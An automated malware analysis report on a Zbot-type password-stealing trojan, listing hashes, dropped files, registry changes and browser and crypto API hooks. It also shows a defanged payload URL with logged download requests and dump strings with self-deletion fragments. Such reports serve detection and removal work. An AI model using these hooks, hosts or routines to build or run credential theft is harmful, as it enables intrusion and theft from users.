HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.Generic.5261614 (B) (Emsisoft), Trojan.Generic.5261614 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: aa2ad1eb380896c23aa56ca93df24c3a
SHA1: 7f3ddd2ffebd91a6d660b945e5c24caa20e34803
SHA256: 3a45915a54b80b476388264089e9ddcacfd8188032a5d3424d9201c140f63fbc
SSDeep: 3072:6YU DwVPc45E4DTP/THtlftOkEoRgSI8p0sKEzyl:c D6PhnTP/THtlf1RFpqgi
Size: 116736 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: AirInstaller
Created at: 1997-04-16 05:52:24
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-PSW. Trojan program intended for stealing users passwords.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan-PSW creates the following process(es):
emky.exe:928
%original file name%.exe:556
The Trojan-PSW injects its code into the following process(es):
Explorer.EXE:692
File activity
The process %original file name%.exe:556 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Application Data\Piniu\emky.exe (116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2cde41c2.bat (177 bytes)
Registry activity
The process emky.exe:928 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "39 4C ED C6 21 54 41 59 6A 6F 30 3A 6D D5 15 8F"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
The process %original file name%.exe:556 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 32 31 99 C1 46 55 55 F6 7C F2 B1 E2 CD 72 2F"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Yhirib]
"Adtah" = "2A 9B E8 65 1A A7 4F A0 DC 47 06 21 FD CC 69 1D"
Dropped PE files
MD5 | File path |
---|---|
42c97dcbff1a5a672c398f4ac28a705a | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Piniu\emky.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
The Trojan-PSW installs the following user-mode hooks in WININET.dll:
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:
PFXImportCertStore
The Trojan-PSW installs the following user-mode hooks in USER32.dll:
SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC
The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:
WSASend
send
closesocket
The Trojan-PSW installs the following user-mode hooks in kernel32.dll:
GetFileAttributesExW
The Trojan-PSW installs the following user-mode hooks in ntdll.dll:
LdrLoadDll
NtCreateThread
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
emky.exe:928
%original file name%.exe:556 - Delete the original Trojan-PSW file.
- Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Application Data\Piniu\emky.exe (116 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2cde41c2.bat (177 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 11084 | 11264 | 2.97992 | 99230de72954ebd7ddee5ec24b4889dd |
.sdata | 16384 | 264 | 512 | 1.46054 | f8473f9dc5cce101e5050d1e5d9d4bd4 |
.data | 20480 | 197 | 512 | 0.632712 | 2ce251a5e3bd5299aee15fec1d19b5a6 |
.qdata | 24576 | 89820 | 90112 | 5.39475 | 9b2b43432e73b44fde16608bd53b510b |
.data | 114688 | 7356 | 7680 | 5.12203 | 53b3d87e5e3e161d57dd1962574fd24b |
.rsrc | 122880 | 4544 | 4608 | 1.09169 | 9dce60d34aad2a75d4e3595d9f5410c1 |
.reloc | 131072 | 20632 | 512 | 1.58227 | e24df571f6915bc95ddd27c71cb6eb87 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://mast99d.com/upp7.so | 82.165.37.26 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:35 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:40 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:24 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:45 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:40 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:24 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
GET /upp7.so HTTP/1.1
Accept: */*
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: mast99d.com
Cache-Control: no-cache
HTTP/1.1 404 Not Found
Server: nginx/1.6.0
Date: Sat, 14 Jun 2014 11:55:34 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title></head>..<body bgcolor="white">..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.6.0</center>..</body>..</html>..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->..<!-- a padding to disable MSIE and Chrome friendly error page -->....
Map
The Trojan-PSW connects to the servers at the folowing location(s):
Strings from Dumps
Explorer.EXE_692_rwx_00F30000_00025000:
.text
.text
`.data
`.data
.reloc
.reloc
gdiplus.dll
gdiplus.dll
GdiplusShutdown
GdiplusShutdown
ole32.dll
ole32.dll
gdi32.dll
gdi32.dll
PR_OpenTCPSocket
PR_OpenTCPSocket
HTTP/1.1
HTTP/1.1
userenv.dll
userenv.dll
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
urlmon.dll
cabinet.dll
cabinet.dll
del "%s"
del "%s"
if exist "%s" goto d
if exist "%s" goto d
del /F "%s"
del /F "%s"
http://www.google.com/webhp
http://www.google.com/webhp
http://
http://
https://
https://
HTTP/1.
HTTP/1.
'=%"6,6<</pre><pre>6-,>..70></pre><pre>Wmkoipj%idedoah-sg0}</pre><pre>: $"06 , </pre><pre>}zoyecg{.dzf</pre><pre>$93 $3#5#</pre><pre>%0' ;>>,</pre><pre>KM].diekbau</pre><pre>, >(3=2;</pre><pre>)4>-)>.8.</pre><pre>121<4?= </pre><pre>1;5;;64|</pre><pre>3=??/:; )</pre><pre>PSSj%S</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>MsgWaitForMultipleObjects</pre><pre>SetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>USER32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegEnumKeyExW</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>InternetCrackUrlA</pre><pre>HttpOpenRequestA</pre><pre>HttpAddRequestHeadersA</pre><pre>GetUrlCacheEntryInfoW</pre><pre>HttpAddRequestHeadersW</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>explorer.exe</pre><pre>rdpclip.exe</pre><pre>ctfmon.exe</pre><pre>wscntfy.exe</pre><pre>taskeng.exe</pre><pre>taskhost.exe</pre><pre>dwm.exe</pre><pre>ntdll.dll</pre><pre>nspr4.dll</pre><pre>*kernel32.dll</pre><pre>"%s" %s</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion</pre><pre>%s_XX</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SysShadow</pre><pre>cGlobal\XXX</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{960994EC-2BC9-F97B-3081-8B34F7D9FA77}</pre><pre>Global\{007226C7-99E2-6F00-3081-8B34F7D9FA77}</pre><pre>%Documents and Settings%\%current user%\Application Data\Viimug\cyig.ixi</pre><pre>%Documents and Settings%\%current user%\Application Data\Viimug</pre><pre>cyig.ixi</pre>